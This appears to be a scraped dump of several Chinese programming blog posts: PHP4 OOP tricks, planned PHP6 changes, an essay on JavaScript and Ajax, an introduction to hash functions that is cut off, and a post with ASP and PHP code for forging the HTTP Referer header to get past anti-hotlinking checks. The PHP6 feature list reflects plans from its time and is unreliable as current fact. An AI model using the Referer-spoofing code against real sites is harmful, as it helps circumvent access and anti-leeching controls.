OOP的一个很好的机制是使用抽象类。抽象类是不能实例化，只能提供给派生类一个接口。设计者通常使用抽象类来强迫程序员从基类派生，这样可以确保新的类包含一些期待的功能。在PHP中没有标准的方法，但是： 如果你需要这个特性，可以通过定义基类，并在它的构造函数后加上\u0026quot;die\u0026quot; 的调用，这样就可以保证基类是不可实例化的，现在在每一个方法(接口)后面加上\u0026quot;die\u0026quot; 语句，所以，如果一个程序员在派生类中没有覆盖方法，将引发一个错误。而且因为PHP 是无类型的，你可能需要确认一个对象是来自于你的基类的派生类，那么在基类中增加一个方法来实义类的身份（返回某种标识id），并且在你接收到一个对象参 数时校验这个值。当然，如果一个邪恶不好的程序员在派生类中覆盖了这个方法，这种方法就不起作用了，不过一般问题多发现在懒惰的程序员身上，而不是邪恶的 程序员。 当然，能够让基类对程序员无法看到是很好的，只要将接口打印出来做他们的工作就可以了。 在PHP中没有析构函数。 重载（与覆盖不同）在PHP中不支持。在OOP中，你可以重载一个方法来实现两个或重多的方法具有相同的名字，但是有不同数量或类型的参数（这要看语言）。PHP 是一种松散类型的语言，所以通过类型重载不起作用，然而通过参数的个数不同来重载也不起作用。 有时在OOP中重载构造函数非常好，这样你可以通过不同的方法创建对象（传递不同数量的参数）。在PHP 中实现它的技巧是： 代码: \u0026lt;?php class Myclass { function Myclass() { $name=\u0026quot;Myclass\u0026quot;.func_num_args(); $this-\u0026gt;$name(); //注意$this-\u0026gt;name()一般是错误的，但是在这里$name是一个将被调用方法的名字 } function Myclass1($x) { code; } function Myclass2($x,$y) { code; } } ?\u0026gt; 通过在类中的额外的处理，使用这个类对用户是透明的： $obj1=new Myclass(\u0026acute;1\u0026acute;); //将调用Myclass1 $obj2=new Myclass(\u0026acute;1\u0026acute;,\u0026acute;2\u0026acute;); //将调用Myclass2 有时这个非常好用。 多态 多态是对象的一种能力，它可以在运行时刻根据传递的对象参数，决定调用哪一个对象的方法。例如，如果你有一个figure的类， 它定义了一个draw的方法。并且派生了circle和rectangle 类，在派生类中你覆盖了draw方法，你可能还有一个函数，它希望使用一个参数x，并且可以调用$x-\u0026gt;draw() 。如果你有多态性，调用哪个draw方法就依赖于你传递给这个函数的对象类型。 多态性在象PHP这样的解释语言（想象一下一个C++编译器生成这样的代码，你应该调用哪一个方法？你也不知道你拥有的对象是什么类型的，好，这不是重点）是非常容易和自然的。所以PHP当然支持多态性。 代码: \u0026lt;?php function niceDrawing($x) { //假设这是Board类的一个方法 $x-\u0026gt;draw(); } $obj=new Circle(3,187); $obj2=new Rectangle(4,5); $board-\u0026gt;niceDrawing($obj); //将调用Circle的draw方法 $board-\u0026gt;niceDrawing($obj2); //将调用Rectangle的draw方法 ?\u0026gt; 用PHP进行面向对象编程 一些\u0026quot;纯化论者(purists)\u0026quot;可能会说PHP不是一个真正的面向对象的语言，这是事实。PHP 是一个混合型语言，你可以使用OOP，也可以使用传统的过程化编程。然而，对于大型项目，你可能想/需要在PHP 中使用纯的OOP去声明类，而且在你的项目只用对象和类。 随着项目越来越大，使用OOP可能会有帮助，OOP代码很容易维护，容易理解和重用。这些就是软件工程 的基础。在基于web的项目中应用这些概念就成为将来网站成功的关键。 PHP的高级OOP技术 在看过基本的OOP概念后，我就可以向你展示更高级的技术： 序列化(Serializing) PHP不支持永久对象，在OOP中永久对象是可以在多个应用的引用中保持状态和功能的对象，这意味 着拥有将对象保存到一个文件或数据库中的能力，而且可以在以后装入对象。这就是所谓的序列化机制。PHP 拥有序列化方法，它可以通过对象进行调用，序列化方法可以返回对象的字符串表示。然而，序列化只保存了对象的成员数据而不包话方法。 在PHP4中，如果你将对象序列化到字符串$s中，然后释放对象，接着反序列化对象到$obj，你可以继续使用对象的方法！我不建议这样去做， 因为(a)文档中没有保证这种行为在以后的版本中仍然可以使用。(b)这个可能导致一种误解，在你把一个序列化后的版本保存到磁盘并退出脚本时。当以后运 行这个脚本时，你不能期待着在反序列化一个对象时，对象的方法也会在那里，因为字符串表示根本就不包括方法。 总而言之，PHP 进行序列化对于保存对象的成员变量非常有用。（你也可以将相关数组和数组序列化到一个文件中）。 例子 : 代码: \u0026lt;?php $obj=new Classfoo(); $str=serialize($obj); //几个月以后 //从磁盘中装入str $obj2=unserialize($str) ?\u0026gt; 你恢复了成员数据，但是不包括方法（根据文档所说）。这导致了只能通过类似于使用$obj2-\u0026gt;x来存取成员变量（你没有别的方法！）的唯一办法，所以不要在家里试它。 有一些办法可以解决这个问题，我把它留着，因为对这篇简洁的文章来说，他们太不好。 使用类进行数据存储 对于PHP和OOP一件非常好的事情就是，你可以很容易地定义一个类来操作某件事情，并且无论何时你想用的时 候都可以调用相应的类。假设你有一个HTML表单，用户可以通过选择产品ID号来选择一个产品。在数据库中有产品的信息，你想把产品显示出来，显示它的价 格等等。你拥有不同类型的产品，并且同一个动作可能对不同的产品具有不同的意思。例如，显示一个声音可能意味着播放它，但是对于其它种类的产品可能意味着 显示一个存在数据库中的图片。你可以使用OOP或PHP来减少编码并提高质量： 定义一个产品的类，定义它应该有的方法（例如：显示），然后定义对每一种类型的产品的类，从产品类派后出来（SoundItem类，ViewableItem类，等等），覆盖在产品类中的方法，使它们按你的想法动作。 根据数据库中每一种产品的类型(type)字段给类命名，一个典型的产品表可能有(id, type, price, description, 等等字段)\u0026#8230;然后在处理脚本中，你可以从数据库中取出type值，然后实例化一个名为type的对象： 代码: \u0026lt;?php $obj=new $type(); $obj-\u0026gt;action(); ?\u0026gt; 这是PHP的一个非常好的特性，你可以不用考虑对象的类型，调用$obj的显示方法或其它的方法。使用这个技术，你不需要修改脚本去增加一个新类型的对象，只是增加一个处理它的类。 这个功能很强大，只要定义方法，而不去考虑所有对象的类型，在不同的类中按不同的方法实现它们，然后在主脚本中对任意对象使用它们，没有if\u0026#8230;else，也不需要两个程序员，只有高兴。 现在你同意编程是容易的，维护是便宜的，可重用是真的吗？ 如果你管理一组程序员，分配工作就是很简单的了，每个人可能负责一个类型的对象和处理它的类。 可以通过这个技术实现国际化，根据用户所选的语言字段应用相应的类就可以了，等等。 拷贝和克隆 当你创建一个$obj的对象时，你可以通过$obj2=$obj来拷贝对象，新的对象是$obj的一个拷贝（不是 一个引用），所以它具有$obj在当时的状态。有时候，你不想这样，你只是想生成一个象obj类一样的一个新的对象，可以通过使用new语句来调用类的构 造函数。在PHP中也可以通过序列化，和一个基类来实现，但所有的其它类都要从基类派生出来。 进入危险区域 当你序列化一个对象，你会得到某种格式的字符串，如果你感兴趣，你可以调究它，其中，字符串中有类的名字（太好了！），你可以把它取出来，象： 代码: \u0026lt;?php $herring=serialize($obj); $vec=explode(\u0026acute;:\u0026acute;,$herring); $nam=str_replace(\u0026quot;\u0026quot;\u0026quot;,\u0026acute;\u0026acute;,$vec[2]); ?\u0026gt; 所以假设你创建了一个\u0026quot;Universe\u0026quot;的类，并且强制所有的类都必须从universe扩展，你可以在universe中定义一个clone的方法，如下： 代码: \u0026lt;?php class Universe { function clone() { $herring=serialize($this); $vec=explode(\u0026acute;:\u0026acute;,$herring); $nam=str_replace(\u0026quot;\u0026quot;\u0026quot;,\u0026acute;\u0026acute;,$vec[2]); $ret=new $nam; return $ret; } } //然后 $obj=new Something(); //从Universe扩展 $other=$obj-\u0026gt;clone(); ?\u0026gt; 你所得到的是一个新的Something类的对象，它同使用new方法，调用构造函数创建出的对象一样。我不知道这个对你是否有用，但是Universe类可以知道派生类的名字是一个好的经验。想象是唯一的限制。 ","permalink":"https://hessian.cn/p/393.html","summary":"这里介绍了在PHP中的面向对象编程(OOP，Object Oriented Programming)。将向你演示如何通过使用一些OOP的概念和PHP的技巧来减少编码和提高质量。祝你好运！ 面向对象编程的概念： 不同的作者之间说法可能不一样，但是一个OOP语言必须有以下几方面： ","title":"PHP中的面向对象编程（OOP）"},{"content":" 去年在巴黎举行的PHP开发者大会中，PHP6开发的消息开始流传开来，\n于PHP大会讨论的PHP6，将有很大幅度的变化，但这只是草案阶段，\n并不代表所有会议的机率都会随着PHP6的发布而包含记录中所有的变更\n也就是说，在发布PHP6之前，还是会有异动的情形，但是可以确定的是\n下面所列的数项变化，将会随着PHP6一同面世（当然不是百分百乐，）\n赶快来看看这些新特性吧\n1.支持Unicode\n支持Unicode是有其必然，虽然Unicode占用较多的空间，但Unicode带来\n的便利性，远超过占用空间的缺点，尤其在国际化的今天，硬件设备越来\n越强大，网速也大幅度的提升，这么一点小小的缺点是可以忽略的。另外\n一点，PHP也可以在.ini文件中设定是否开启支持Unicode，决定权在你自己，\n这是一个不错的点子，关掉Unicode的支持，PHP的性能并不会有大幅度的\n提升，主要的影响在于需要引用字符串的函数。\n2.Register Globals 将被移除\n这是一个重要的决定，说多新进的PHP开发者会觉得Register Globals满\n方便的，但是却忽略了Register Globals会带来程序上安全性的隐患，大\n多数的主机上此项功能是关闭的，印象中从PHP4.3.x版开始时，此项默认\n设置值即是关闭状态，PHP6正式移除Register Globals也代表着如果程序\n是由PHP3时代的产物，将完全无法使用，除了改写一途外，别无他法。相\n信现在的PHP世界里，仍使用PHP3时代所产生的程序应该是少之又少。\n3.Magic Quotes 将消失\nMagic Quotes主要是自动转义需要转义的字符，此项功能移除叶符合大多\n数PHP开发者的心声。\n4.Safe Mode 取消\n老实说，这个模式不知道哪里不好，取消就取消吧，反正也用不到\n5.\u0026#8217;var\u0026#8217; 别名为 \u0026#8216;public\u0026#8217;\n在类中的var声明变成public的别名，相信是为了兼容PHP5而作的决定，\nPHP6现在也可以称作为OO语言了。\n6.通过引用返回将出错\n现在透过引用返回编译器将会报错 例如$a =\u0026amp; new b()、function \u0026amp;c()，\nOO语言默认就是引用，所以不需要再使用\u0026amp;了。\n7.zend.ze1 compatbility mode 将被移去\nZend.ze1相容模式将被移去，PHP5是为兼容旧有PHP4，所以在.ini中可选择是否\n开启相容模式，原因在于PHP5使用的是第二代解析引擎，但是相容模式并不是百\n分之百能解析PHP4语法，所以旧时代的产物，移除。\n8.Freetype 1 and GD 1 support 将不见\n这两个是很久的Libs，所以不再支持，GD1早已被现在的GD2取代了。\n9.dl() 被移到 SAPI 中\ndl()主要是让设计师加载extension Libs，现在被移到 SAPI 中\n10.Register Long Array 去除\n从PHP5起默认是关闭，再PHP6中正式移除。\n11.一些Extension的变更\n例如 XMLReader 和 XMLWriter 将不再是以Extension的方式出现，他们将被移入\n到PHP的核心之中，并且默认是开启，ereg extension将被放入PECL，代表着它将\n被移出PHP核心，这也是为了让路给新的正则表达式extension，\n此外，Fileinfo extension 也将被导入PHP的核心之中。\n12.APC将被导入核心\n这是一个提高PHP性能的功能，现在它将被放入PHP核心中，并且可以选择是否启用APC\n13.告别ASP风格的起始标签\n原来是为了取悦ASP开发者转向使用PHP，现今已经不再需要这种做法了，\n最后，别期望PHP6的性能可以全面超过PHP5，有可能的是PHP6的执行效率会比\nPHP5还要来的慢的，但是可以预期的是，PHP开发小组将会努力的完善PHP5，超\n越PHP5。\n那么，对PHP6有兴趣的朋友现在可以到PHP官方网站上下载，试试这些功能是否真的已经\n在PHP6中体现出来了，下载地址http://snaps.php.net/ ","permalink":"https://hessian.cn/p/503.html","summary":" 去年在巴黎举行的PHP开发者大会中，PHP6开发的消息开始流传开来，\n于PHP大会讨论的PHP6，将有很大幅度的变化，但这只是草案阶段，\n并不代表所有会议的机率都会随着PHP6的发布而包含记录中所有的变更\n也就是说，在发布PHP6之前，还是会有异动的情形，但是可以确定的是\n下面所列的数项变化，将会随着PHP6一同面世（当然不是百分百乐，）\n赶快来看看这些新特性吧\n1.支持Unicode\n支持Unicode是有其必然，虽然Unicode占用较多的空间，但Unicode带来\n的便利性，远超过占用空间的缺点，尤其在国际化的今天，硬件设备越来\n越强大，网速也大幅度的提升，这么一点小小的缺点是可以忽略的。另外\n一点，PHP也可以在.ini文件中设定是否开启支持Unicode，决定权在你自己，\n这是一个不错的点子，关掉Unicode的支持，PHP的性能并不会有大幅度的\n提升，主要的影响在于需要引用字符串的函数。\n2.Register Globals 将被移除\n这是一个重要的决定，说多新进的PHP开发者会觉得Register Globals满\n方便的，但是却忽略了Register Globals会带来程序上安全性的隐患，大\n多数的主机上此项功能是关闭的，印象中从PHP4.3.x版开始时，此项默认\n设置值即是关闭状态，PHP6正式移除Register Globals也代表着如果程序\n是由PHP3时代的产物，将完全无法使用，除了改写一途外，别无他法。相\n信现在的PHP世界里，仍使用PHP3时代所产生的程序应该是少之又少。\n3.Magic Quotes 将消失\nMagic Quotes主要是自动转义需要转义的字符，此项功能移除叶符合大多\n数PHP开发者的心声。\n4.Safe Mode 取消\n老实说，这个模式不知道哪里不好，取消就取消吧，反正也用不到\n5.\u0026#8217;var\u0026#8217; 别名为 \u0026#8216;public\u0026#8217;\n在类中的var声明变成public的别名，相信是为了兼容PHP5而作的决定，\nPHP6现在也可以称作为OO语言了。\n6.通过引用返回将出错\n现在透过引用返回编译器将会报错 例如$a =\u0026amp; new b()、function \u0026amp;c()，\nOO语言默认就是引用，所以不需要再使用\u0026amp;了。\n7.zend.ze1 compatbility mode 将被移去\nZend.ze1相容模式将被移去，PHP5是为兼容旧有PHP4，所以在.ini中可选择是否\n开启相容模式，原因在于PHP5使用的是第二代解析引擎，但是相容模式并不是百\n分之百能解析PHP4语法，所以旧时代的产物，移除。\n8.Freetype 1 and GD 1 support 将不见\n这两个是很久的Libs，所以不再支持，GD1早已被现在的GD2取代了。\n9.dl() 被移到 SAPI 中\ndl()主要是让设计师加载extension Libs，现在被移到 SAPI 中\n10.Register Long Array 去除\n从PHP5起默认是关闭，再PHP6中正式移除。\n11.一些Extension的变更\n例如 XMLReader 和 XMLWriter 将不再是以Extension的方式出现，他们将被移入\n到PHP的核心之中，并且默认是开启，ereg extension将被放入PECL，代表着它将\n被移出PHP核心，这也是为了让路给新的正则表达式extension，\n此外，Fileinfo extension 也将被导入PHP的核心之中。\n12.APC将被导入核心\n这是一个提高PHP性能的功能，现在它将被放入PHP核心中，并且可以选择是否启用APC\n13.告别ASP风格的起始标签\n原来是为了取悦ASP开发者转向使用PHP，现今已经不再需要这种做法了，\n最后，别期望PHP6的性能可以全面超过PHP5，有可能的是PHP6的执行效率会比\nPHP5还要来的慢的，但是可以预期的是，PHP开发小组将会努力的完善PHP5，超\n越PHP5。\n那么，对PHP6有兴趣的朋友现在可以到PHP官方网站上下载，试试这些功能是否真的已经\n在PHP6中体现出来了，下载地址http://snaps.php.net/ ","title":"[转]你对PHP6认识多少？"},{"content":" ","permalink":"https://hessian.cn/p/412.html","summary":"","title":"我在找工作…这是我简历"},{"content":"发一篇关于JavaScript的文章，因为JS或者说这中界面技术太有用了。Hoho\nJavaScript似乎一直都当作是解析型的脚本语言，程序开发人员往往对此不懈一顾。认为一个脚本也没有太多的难度，那似乎为不懂程序的人专门设计的东西，不值得真正搞开发的去研究和应用。\n从LiveScript 到JavaScript，在大量的时间JS都只是作为一种Script脚本在应用。更多的开发者只有在前端表单验证、以及诸如应用飘浮、移动、下拉联动菜单等网页特效或者必须通过界面才能得到的东西，比如客户端的时间、分辨率、以及一些在当前窗口操作的事件时才用得到它。于是JavaScript成了网页特效语言，专门用来给页面加上各种酷炫的效果了。JS似乎只能做些华而不实界面效果，甚至用户还可以随时屏蔽，一些浏览器工具条自动把 JavaScript给屏蔽了\u0026hellip;\u0026hellip;\n程序员对JavaScript的不重视，直接导致了JavaScript被忽视；而大量互联网特效应用，加速了JS被地当作一种脚本。而直到Jesse James Garrett 把JavaScript XMLhttp DOM等组合在一起正式提出Ajax后，JavaScript才忽然地炙手可热起来。加上Google、Yahoo、Microsoft等大型公司在Ajax方面的大量应用，JavaScript随着Ajax也越来越受到关注。\nAjax是一种新瓶装老酒的技术组合，或者说Ajax不是一种技术，而是一种概念。可正是这种能给互联网应用带来革新的概念让大家产生浓厚兴趣，原因不仅在于技术组合本身，也在于互联网应用技术模式的发展趋势。RIA的发展趋势需要新的技术和方法来配合，Ajax在现阶段正好满足了丰富互联网应用的部分发展要求，而重新利用上和定位JavaScript将是一种较好实现 RIA的选择。Ajax(或者说目前最佳丰富互联网技术应用)中真正的核心应当是JavaScript，目前的趋势是需要用JavaScript这种程序语言来重构网页、用JavaScript来格式化数据。而XMLhttp是一种传输数据的桥梁和协议，与原来GET和POST相类似，而XMLhttp很好地为JavaScript服务罢了。\n实际上JavaScript就像 世界上最被误解的语言（http://www.crockford.com/javascript/javascript.html）里描述的JavaScript是世界上使用人数最多的编程语言之一，除了后缀是-script让人起疑之外，其他各种计算、流程控制、数组、函数一应俱全，与Java、C等等也很像。\n当然也会程序员说，JavaScript不能操作文本(操作本地也不安全)、无法生成图像、也没有面向对象、没有类、没有继承、无法Debug，无法通过网络传输数据。所以，JavaScript不是一门真正意义上的程序语言。于是这样JavaScript就被忽略为在仅在页面设计当中使用的脚本了。但是，当看到JSON这样面向对象的JS应用、JS集合、3D图形、Prototype里类和继承，再加上XMLhttp异步传递网络数据，这时候还能说JavaScirpt仅仅是简单的脚本吗？\n几年前就有先见者指明JavaScript是世界上最被误解的语言，幸好，今天我们已经认识到JS的重要性，不会一直再误会下去。\n看到诸如\nhttp://www.netvibes.com/\nhttp://developer.yahoo.com/yui/\nhttp://www.backbase.com/\nhttp://www.meebo.com/\nhttp://www.miniajax.com/\nhttp://www.protopage.com/\nhttp://www.google.com/\nhttp://www.a9.com/\nhttp://www.live.com/\nhttp://www.snap.com/\nhttp//www.ask.com/\nhttp://dojotoolkit.org/\nhttp://www.ask.com/\n这些应用时，JavaScript就不会只是被当成脚本语言了。JavaScript具有面向对象的概念，也可以继承类和抛出异常。正因为这些，也就是现下为何Ajax框架层出不穷，并且如此火爆的原因了。程序开发者已经意识到JavaScript语言的重要性，以及重新认识它之后给网页开发带来的变革，对于无论是前端还是后台开发人员，JavaScript都不只是从前所认为的那样\u0026#8212;\u0026#8211;只是简单的脚本。\n在一个项目当中，尤其网页开发项目，JavaScript几乎是必不可少的语言，它不要编译器，也不需要专门的解析器。只要客户端机器上有浏览器，只要把开源的JavaScript 引擎加入浏览器中(几乎所有的浏览器都支持，所有的电脑都有浏览器 )，不管是电脑还是手机，JavaScript都将很好地被支持。\n而使用JavaScript，至少有下面这几点好处：\n1，增加交互动态应用，丰富界面应用，提高用户体验\n2，节省后台开发成本，减少后台开发量， 显示HTML/XHTML和格式化数据交给JS处理\n3，节省网络带宽，让浏览速度更快，减轻服务器压力，XMLhttp 减少刷新数据\n4，体现RIA，B/S模式的利器，通过JS可以达到C/S模式的效果\n5，WEB版软件最好的界面实现者，Flash，Applet也还不错，不过目前JavaScrip是最好的\n6，\u0026hellip;\u0026hellip;\n浏览器的兼容性或者用户屏蔽JS虽然是个头疼的问题，但绝大多数浏览器都在遵循ECMAScript1.5标准，大多数用户是不会禁用JS的，因为关闭JS使用互联网几乎是件困难的事。\n虽然还有安全、开发和维护成本等等的不利因素在里面，但如果把JavaScript很好地与后台结合起来，JavaScript将是网页开发非常重要的一门语言，甚至不亚于Java。现在利用Java、php做后台的网站越来越多，而再有效结合JavaScript，利用JavaScript来t处理和显示页面，这样，丰富互联网应用、提高用户体验将成为可能。\nJavaScript被程序员忽视这么久后，终于踏着RIA的步伐迎来了春天，不管怎么说，软件程序从桌面走向网络、走向浏览器将是必然的趋势。不是说要取代桌面应用，而是丰富互联网应用有太多的路要走。\n而其中，桌面还是互联网应用其后台是很类似的，都可以用Java，C，C#等等。而在前台，在互联网软件应用上，JavaScript将会很好地担任界面开发程序语言的角色。\n毕竟，JavaScript不再仅仅是脚本，而是一门可以面向对象的程序语言。当然了，要想真正利用好JavaSript这门语言，精通一门后台语言必不可少，而也只有这样JavaScript才不会是仅仅是脚本。\n这里我说了大量JavaScript有利的一面，当然JS依然存在着这样那样的问题，但我想RIA发展是个趋势，B/S模式也是一个趋势，JavaScript也还在一直向前发展(新的版本也在研究)。我相信随着WEB2.0这种用户与网站以及用户之间的彼此交互应用越来越多，也随着网络带宽越来越快，RIA将会有一个很好的发展，而JavaScript在RIA中也将发挥越来越重要的作用。\n","permalink":"https://hessian.cn/p/535.html","summary":"发一篇关于JavaScript的文章，因为JS或者说这中界面技术太有用了。Hoho\nJavaScript似乎一直都当作是解析型的脚本语言，程序开发人员往往对此不懈一顾。认为一个脚本也没有太多的难度，那似乎为不懂程序的人专门设计的东西，不值得真正搞开发的去研究和应用。\n","title":"JavaScript 不只是脚本"},{"content":"HTTP-REFERER这个变量已经越来越不可靠了，完全就是可以伪造出来的东东。\n以下是伪造方法：\nASP:\ndim http set http=server.createobject(\u0026quot;MSXML2.XMLHTTP\u0026quot;) \u0026#8216;//MSXML2.serverXMLHTTP也可以\nHttp.open \u0026quot;GET\u0026quot;,url,false Http.setRequestHeader \u0026quot;Referer\u0026quot;,\u0026quot;http://www.dc9.cn/\u0026quot; Http.send() PHP(前提是装了curl):\n$ch = curl_init();\ncurl_setopt ($ch, CURLOPT_URL, \u0026quot;http://www.dc9.cn/xxx.asp\u0026quot;);\ncurl_setopt ($ch, CURLOPT_REFERER, \u0026quot;http://www.dc9.cn/\u0026quot;);\ncurl_exec ($ch);\ncurl_close ($ch);\nPHP(不装curl用sock)\n$server = \u0026#8216;www.dc9.cn\u0026#8217;;\n$host\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; = \u0026#8216;www.dc9.cn\u0026#8217;;\n$target\u0026nbsp;\u0026nbsp; = \u0026#8216;/xxx.asp\u0026#8217;;\n$referer = \u0026#8216;http://www.dc9.cn/\u0026#8217;;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // Referer\n$port\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; = 80;\n$fp = fsockopen($server, $port, $errno, $errstr, 30);\nif (!$fp) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026quot;$errstr ($errno)\u0026lt;br /\u0026gt;n\u0026quot;;\n} else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $out = \u0026quot;GET $target HTTP/1.1rn\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $out .= \u0026quot;Host: $hostrn\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $out .= \u0026quot;Cookie: ASPSESSIONIDSQTBQSDA=DFCAPKLBBFICDAFMHNKIGKEGrn\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $out .= \u0026quot;Referer: $refererrn\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $out .= \u0026quot;Connection: Closernrn\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; fwrite($fp, $out);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; while (!feof($fp)) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; echo fgets($fp, 128);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; fclose($fp);\n}\nVB.NET/C#.NET\nDim oXMLHttp As MSXML2.XMLHTTP30 = New MSXML2.XMLHTTP30()\n或者\nMSXML2.XMLHTTP30 oXMLHttp = new MSXML2.XMLHTTP30();\noXMLHttp.open(\u0026#8230;.\noXMLHttp.setRequestHeader(\u0026#8230;\noXMLHttp.send(..\njavascript\nxmlHttp.setRequestHeader(\u0026quot;Referer\u0026quot;, \u0026quot;http://URL\u0026quot;);//???呵呵~假的~\nJS不支持^_^\n原理都是sock构造http头来senddata。其他语言什么的比如perl也可以,\n目前比较简单的防御伪造referer的方法是用验证码（Session）。\n现在有一些能防盗链软件的商业公司比如UUDOG，linkgate，VirtualWall什么的，都是开发的应用于IIS上面的dll。\n有的是采用cookies验证、线程控制，有的是能随机生成文件名然后做URL重写。有的方法能的确达到不错的效果.\n不过道高一尺，魔高一丈，这些雕虫小技终归是有破解方法的。\n","permalink":"https://hessian.cn/p/440.html","summary":"HTTP-REFERER这个变量已经越来越不可靠了，完全就是可以伪造出来的东东。\n以下是伪造方法：\nASP:\ndim http set http=server.createobject(\u0026quot;MSXML2.XMLHTTP\u0026quot;) \u0026#8216;//MSXML2.serverXMLHTTP也可以\nHttp.open \u0026quot;GET\u0026quot;,url,false Http.setRequestHeader \u0026quot;Referer\u0026quot;,\u0026quot;http://www.dc9.cn/\u0026quot; Http.send() ","title":"ASP,PHP与.NET伪造HTTP-REFERER方法及防止伪造REFERER方法探讨"},{"content":"什么是 Hash Hash 的重要特性 Hash 函数的实现 主要的 Hash 算法 Hash 算法的安全问题 Hash 算法的应用 结 论 Hash， 一般翻译做\u0026ldquo;散列\u0026rdquo;，也有直接音译为\u0026quot;哈希\u0026quot;的，就是把任意长度的输入（又叫做预映射， pre-image），通过散列算法，变换成固定长度的输出，该输出就是散列值。这种转换是一种压缩映射，也就是，散列值的空间通常远小于输入的空间，不 同的输入可能会散列成相同的输出，而不可能从散列值来唯一的确定输入值。\n数学表述为：h = H(M) ，其中H( )\u0026#8211;单向散列函数，M\u0026#8211;任意长度明文，h\u0026#8211;固定长度散列值。\n在信息安全领域中应用的Hash算法，还需要满足其他关键特性：\n第 一当然是单向性(one-way)，从预映射，能够简单迅速的得到散列值，而在计算上不可能构造一个预映射，使其散列结果等于某个特定的散列值，即构造相 应的M=H-1(h)不可行。这样，散列值就能在统计上唯一的表征输入值，因此，密码学上的 Hash 又被称为\u0026quot;消息摘要(message digest)\u0026quot;，就是要求能方便的将\u0026quot;消息\u0026quot;进行\u0026quot;摘要\u0026quot;，但在\u0026quot;摘要\u0026quot;中无法得到比\u0026quot;摘要\u0026quot;本身更多的关于\u0026quot;消息\u0026quot;的信息。\n第二是抗 冲突性(collision-resistant)，即在统计上无法产生2个散列值相同的预映射。给定M，计算上无法找到M\u0026#8217;，满足H(M)=H(M\u0026#8217;) ，此谓弱抗冲突性；计算上也难以寻找一对任意的M和M\u0026#8217;，使满足H(M)=H(M\u0026#8217;) ，此谓强抗冲突性。要求\u0026quot;强抗冲突性\u0026quot;主要是为了防范所谓\u0026quot;生日攻击(birthday attack)\u0026quot;，在一个10人的团体中，你能找到和你生日相同的人的概率是2.4%，而在同一团体中，有2人生日相同的概率是11.7%。类似的，当预 映射的空间很大的情况下，算法必须有足够的强度来保证不能轻易找到\u0026quot;相同生日\u0026quot;的人。\n第三是映射分布均匀性和差分分布均匀性，散列结果 中，为 0 的 bit 和为 1 的 bit ，其总数应该大致相等；输入中一个 bit 的变化，散列结果中将有一半以上的 bit 改变，这又叫做\u0026quot;雪崩效应(avalanche effect)\u0026quot;；要实现使散列结果中出现 1bit 的变化，则输入中至少有一半以上的 bit 必须发生变化。其实质是必须使输入中每一个 bit 的信息，尽量均匀的反映到输出的每一个 bit 上去；输出中的每一个 bit，都是输入中尽可能多 bit 的信息一起作用的结果。\nDamgard 和 Merkle 定义了所谓\u0026ldquo;压缩函数(compression function)\u0026rdquo;，就是将一个固定长度输入，变换成较短的固定长度的输出，这对密码学实践上 Hash 函数的设计产生了很大的影响。Hash函数就是被设计为基于通过特定压缩函数的不断重复\u0026ldquo;压缩\u0026rdquo;输入的分组和前一次压缩处理的结果的过程，直到整个消息都 被压缩完毕，最后的输出作为整个消息的散列值。尽管还缺乏严格的证明，但绝大多数业界的研究者都同意，如果压缩函数是安全的，那么以上述形式散列任意长度 的消息也将是安全的。这就是所谓 Damgard/Merkle 结构：\n在下图中，任意长度的消息被分拆成符合压缩函数输入要求的分组， 最后一个分组可能需要在末尾添上特定的填充字节，这些分组将被顺序处理，除了第一个消息分组将与散列初始化值一起作为压缩函数的输入外，当前分组将和前一 个分组的压缩函数输出一起被作为这一次压缩的输入，而其输出又将被作为下一个分组压缩函数输入的一部分，直到最后一个压缩函数的输出，将被作为整个消息散 列的结果。\nMD5 和 SHA1 可以说是目前应用最广泛的Hash算法，而它们都是以 MD4 为基础设计的。\n1) MD4\nMD4(RFC 1320)是 MIT 的 Ronald L. Rivest 在 1990 年设计的，MD 是 Message Digest 的缩写。它适用在32位字长的处理器上用高速软件实现\u0026#8211;它是基于 32 位操作数的位操作来实现的。它的安全性不像RSA那样基于数学假设，尽管 Den Boer、Bosselaers 和 Dobbertin 很快就用分析和差分成功的攻击了它3轮变换中的 2 轮，证明了它并不像期望的那样安全，但它的整个算法并没有真正被破解过，Rivest 也很快进行了改进。\n下面是一些MD4散列结果的例子：\nMD4 (\u0026quot;\u0026quot;) = 31d6cfe0d16ae931b73c59d7e0c089c0\nMD4 (\u0026quot;a\u0026quot;) = bde52cb31de33e46245e05fbdbd6fb24\nMD4 (\u0026quot;abc\u0026quot;) = a448017aaf21d8525fc10ae87aa6729d\nMD4 (\u0026quot;message digest\u0026quot;) = 